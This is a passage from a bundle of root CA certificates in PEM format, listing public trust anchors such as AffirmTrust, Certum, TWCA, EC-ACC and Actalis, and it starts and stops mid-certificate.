MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- Certinomis - Autorité Racine ============================= -----BEGIN CERTIFICATE----- MIIFnDCCA4SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJGUjETMBEGA1UEChMK Q2VydGlub21pczEXMBUGA1UECxMOMDAwMiA0MzM5OTg5MDMxJjAkBgNVBAMMHUNlcnRpbm9taXMg LSBBdXRvcml0w6kgUmFjaW5lMB4XDTA4MDkxNzA4Mjg1OVoXDTI4MDkxNzA4Mjg1OVowYzELMAkG A1UEBhMCRlIxEzARBgNVBAoTCkNlcnRpbm9taXMxFzAVBgNVBAsTDjAwMDIgNDMzOTk4OTAzMSYw JAYDVQQDDB1DZXJ0aW5vbWlzIC0gQXV0b3JpdMOpIFJhY2luZTCCAiIwDQYJKoZIhvcNAQEBBQAD ggIPADCCAgoCggIBAJ2Fn4bT46/HsmtuM+Cet0I0VZ35gb5j2CN2DpdUzZlMGvE5x4jYF1AMnmHa wE5V3udauHpOd4cN5bjr+p5eex7Ezyh0x5P1FMYiKAT5kcOrJ3NqDi5N8y4oH3DfVS9O7cdxbwly Lu3VMpfQ8Vh30WC8Tl7bmoT2R2FFK/ZQpn9qcSdIhDWerP5pqZ56XjUl+rSnSTV3lqc2W+HN3yNw 2F1MpQiD8aYkOBOo7C+ooWfHpi2GR+6K/OybDnT0K0kCe5B1jPyZOQE51kqJ5Z52qz6WKDgmi92N jMD2AR5vpTESOH2VwnHu7XSu5DaiQ3XV8QCb4uTXzEIDS3h65X27uK4uIJPT5GHfceF2Z5c/tt9q c1pkIuVC28+BA5PY9OMQ4HL2AHCs8MF6DwV/zzRpRbWT5BnbUhYjBYkOjUjkJW+zeL9i9Qf6lSTC lrLooyPCXQP8w9PlfMl1I9f09bze5N/NgL+RiH2nE7Q5uiy6vdFrzPOlKO1Enn1So2+WLhl+HPNb xxaOu2B9d2ZHVIIAEWBsMsGoOBvrbpgT1u449fCfDu/+MYHB0iSVL1N6aaLwD4ZFjliCK0wi1F6g 530mJ0jfJUaNSih8hp75mxpZuWW/Bd22Ql095gBIgl4g9xGC3srYn+Y3RyYe63j3YcNBZFgCQfna 4NH4+ej9Uji29YnfAgMBAAGjWzBZMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G A1UdDgQWBBQNjLZh2kS40RR9w759XkjwzspqsDAXBgNVHSAEEDAOMAwGCiqBegFWAgIAAQEwDQYJ KoZIhvcNAQEFBQADggIBACQ+YAZ+He86PtvqrxyaLAEL9MW12Ukx9F1BjYkMTv9sov3/4gbIOZ/x WqndIlgVqIrTseYyCYIDbNc/CMf4uboAbbnW/FIyXaR/pDGUu7ZMOH8oMDX/nyNTt7buFHAAQCva R6s0fl6nVjBhK4tDrP22iCj1a7Y+YEq6QpA0Z43q619FVDsXrIvkxmUP7tCMXWY5zjKn2BCXwH40 nJ+U8/aGH88bc62UeYdocMMzpXDn2NU4lG9jeeu/Cg4I58UvD0KgKxRA/yHgBcUn4YQRE7rWhh1B CxMjidPJC+iKunqjo3M3NYB9Ergzd0A4wPpeMNLytqOx1qKVl4GbUu1pTP+A5FPbVFsDbVRfsbjv JL1vnxHDx2TCDyhihWZeGnuyt++uNckZM6i4J9szVb9o4XVIRFb7zdNIu0eJOqxp9YDG5ERQL1TE qkPFMTFYvZbF6nVsmnWxTfj3l/+WFvKXTej28xH5On2KOG4Ey+HTRRWqpdEdnV1j6CTmNhTih60b WfVEm/vXd3wfAXBioSAaosUaKPQhA+4u2cGA6rnZgtZbdsLLO7XSAPCjDuGtbkD326C00EauFddE wk01+dIL8hf2rGbVJLJP0RyZwG71fet0BLj5TXcJ17TPBzAJ8bgAVtkXFhYKK4bfjwEZGuW7gmP/ vgt2Fl43N+bYdJeimUV5 -----END CERTIFICATE----- Root CA Generalitat Valenciana ============================== -----BEGIN CERTIFICATE----- MIIGizCCBXOgAwIBAgIEO0XlaDANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJFUzEfMB0GA1UE ChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290 IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwHhcNMDEwNzA2MTYyMjQ3WhcNMjEwNzAxMTUyMjQ3 WjBoMQswCQYDVQQGEwJFUzEfMB0GA1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UE CxMGUEtJR1ZBMScwJQYDVQQDEx5Sb290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmEwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGKqtXETcvIorKA3Qdyu0togu8M1JAJke+WmmmO3I2 F0zo37i7L3bhQEZ0ZQKQUgi0/6iMweDHiVYQOTPvaLRfX9ptI6GJXiKjSgbwJ/BXufjpTjJ3Cj9B ZPPrZe52/lSqfR0grvPXdMIKX/UIKFIIzFVd0g/bmoGlu6GzwZTNVOAydTGRGmKy3nXiz0+J2ZGQ D0EbtFpKd71ng+CT516nDOeB0/RSrFOyA8dEJvt55cs0YFAQexvba9dHq198aMpunUEDEO5rmXte JajCq+TA81yc477OMUxkHl6AovWDfgzWyoxVjr7gvkkHD6MkQXpYHYTqWBLI4bft75PelAgxAgMB AAGjggM7MIIDNzAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnBraS5n dmEuZXMwEgYDVR0TAQH/BAgwBgEB/wIBAjCCAjQGA1UdIASCAiswggInMIICIwYKKwYBBAG/VQIB ADCCAhMwggHoBggrBgEFBQcCAjCCAdoeggHWAEEAdQB0AG8AcgBpAGQAYQBkACAAZABlACAAQwBl AHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAFIAYQDtAHoAIABkAGUAIABsAGEAIABHAGUAbgBlAHIA YQBsAGkAdABhAHQAIABWAGEAbABlAG4AYwBpAGEAbgBhAC4ADQAKAEwAYQAgAEQAZQBjAGwAYQBy AGEAYwBpAPMAbgAgAGQAZQAgAFAAcgDhAGMAdABpAGMAYQBzACAAZABlACAAQwBlAHIAdABpAGYA aQBjAGEAYwBpAPMAbgAgAHEAdQBlACAAcgBpAGcAZQAgAGUAbAAgAGYAdQBuAGMAaQBvAG4AYQBt AGkAZQBuAHQAbwAgAGQAZQAgAGwAYQAgAHAAcgBlAHMAZQBuAHQAZQAgAEEAdQB0AG8AcgBpAGQA YQBkACAAZABlACAAQwBlAHIAdABpAGYAaQBjAGEAYwBpAPMAbgAgAHMAZQAgAGUAbgBjAHUAZQBu AHQAcgBhACAAZQBuACAAbABhACAAZABpAHIAZQBjAGMAaQDzAG4AIAB3AGUAYgAgAGgAdAB0AHAA OgAvAC8AdwB3AHcALgBwAGsAaQAuAGcAdgBhAC4AZQBzAC8AYwBwAHMwJQYIKwYBBQUHAgEWGWh0 dHA6Ly93d3cucGtpLmd2YS5lcy9jcHMwHQYDVR0OBBYEFHs100DSHHgZZu90ECjcPk+yeAT8MIGV BgNVHSMEgY0wgYqAFHs100DSHHgZZu90ECjcPk+yeAT8oWykajBoMQswCQYDVQQGEwJFUzEfMB0G A1UEChMWR2VuZXJhbGl0YXQgVmFsZW5jaWFuYTEPMA0GA1UECxMGUEtJR1ZBMScwJQYDVQQDEx5S b290IENBIEdlbmVyYWxpdGF0IFZhbGVuY2lhbmGCBDtF5WgwDQYJKoZIhvcNAQEFBQADggEBACRh TvW1yEICKrNcda3FbcrnlD+laJWIwVTAEGmiEi8YPyVQqHxK6sYJ2fR1xkDar1CdPaUWu20xxsdz Ckj+IHLtb8zog2EWRpABlUt9jppSCS/2bxzkoXHPjCpaF3ODR00PNvsETUlR4hTJZGH71BTg9J63 NI8KJr2XXPR5OkowGcytT6CYirQxlyric21+eLj4iIlPsSKRZEv1UN4D2+XFducTZnV+ZfsBn5OH iJ35Rld8TWCvmHMTI6QgkYH60GFmuH3Rr9ZvHmw96RH9qfmCIoaZM3Fa6hlXPZHNqcCjbgcTpsnt +GijnsNacgmHKNHEc8RzGF9QdRYxn7fofMM= -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- EC-ACC ====== -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7 MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4 HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw 0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0 Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2 E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D 5EI= -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 